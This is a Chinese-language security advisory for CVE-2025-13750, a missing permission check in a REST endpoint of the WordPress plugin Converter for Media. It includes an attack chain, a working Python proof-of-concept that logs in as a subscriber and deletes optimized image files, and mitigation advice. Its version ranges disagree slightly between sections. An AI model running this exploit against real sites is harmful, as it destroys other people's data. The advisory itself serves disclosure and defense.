IPBUF安全漏洞报告
English
CVE-2025-13750 CVSS 4.3 中危

CVE-2025-13750 WordPress Converter Media插件权限绕过漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-13750
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Converter for Media – Optimize images | Convert WebP & AVIF (WordPress插件)

相关标签

权限绕过WordPress插件CVE-2025-13750Converter for MediaREST API访问控制WebPAVIF

漏洞概述

Converter for Media是WordPress平台上一款流行的图片优化插件,支持将图片转换为WebP和AVIF格式。该插件在6.3.2及之前版本中存在严重的权限绕过漏洞。由于插件的REST API端点 `/webp-converter/v1/regenerate-attachment` 缺少适当的权限检查,认证用户(包括最低权限的Subscriber订阅者)可以无需授权即可访问该端点。攻击者利用此漏洞可以删除服务器上任意附件的优化变体文件(WebP/AVIF格式),导致图片优化功能失效,影响网站性能和用户体验。此漏洞的CVSS评分为4.3,属于中等严重程度,主要威胁在于低权限用户能够执行超出其权限范围的操作。

技术细节

漏洞根源在于插件注册REST API路由时未正确实施权限回调函数。在WordPress插件开发中,REST API端点应通过 `permission_callback` 参数指定访问权限验证函数。然而,该插件的 `/webp-converter/v1/regenerate-attachment` 端点缺少此参数或使用了默认的 `__return_true` 回调,导致任何已认证用户都能访问。攻击者只需拥有一个有效的WordPress账户(即使是最低权限的Subscriber角色),即可通过发送HTTP请求调用该端点。请求中指定目标附件ID,服务器将删除对应附件的优化文件。由于WordPress的附件机制,该操作不可逆,可能导致优化文件永久丢失。攻击者可通过脚本批量删除不同附件ID的优化文件,造成大规模破坏。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的有效用户账户(Subscriber级别或更高)
STEP 2
步骤2
攻击者使用凭证登录WordPress,获取有效的认证会话
STEP 3
步骤3
攻击者构造恶意HTTP请求,访问未授权的REST API端点 /wp-json/webp-converter/v1/regenerate-attachment
STEP 4
步骤4
服务器端点因缺少权限检查,直接执行删除操作,移除目标附件的WebP/AVIF优化文件
STEP 5
步骤5
攻击者可通过遍历不同的附件ID,实现批量删除,造成大规模破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13750 PoC # WordPress Converter Media Plugin - Unauthorized Attachment Optimization Deletion target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Step 1: Authenticate to get valid nonce/cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Authentication failed') sys.exit(1) print('[+] Authentication successful') # Step 2: Exploit the vulnerable REST endpoint # Target: /wp-json/webp-converter/v1/regenerate-attachment attachment_id = 1 # Target attachment ID endpoint = f"{target_url}/wp-json/webp-converter/v1/regenerate-attachment" payload = { 'id': attachment_id } response = session.post(endpoint, json=payload) if response.status_code == 200: print(f'[+] Successfully deleted optimization files for attachment ID: {attachment_id}') else: print(f'[-] Failed with status code: {response.status_code}') print(f'Response: {response.text}')

影响范围

Converter for Media插件 < 6.3.2

防御指南

临时缓解措施
如果无法立即升级,可临时禁用插件的REST API功能或在Web服务器层面限制对 /wp-json/webp-converter/* 路径的访问,仅允许管理员IP访问。同时监控网站日志,关注异常的REST API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表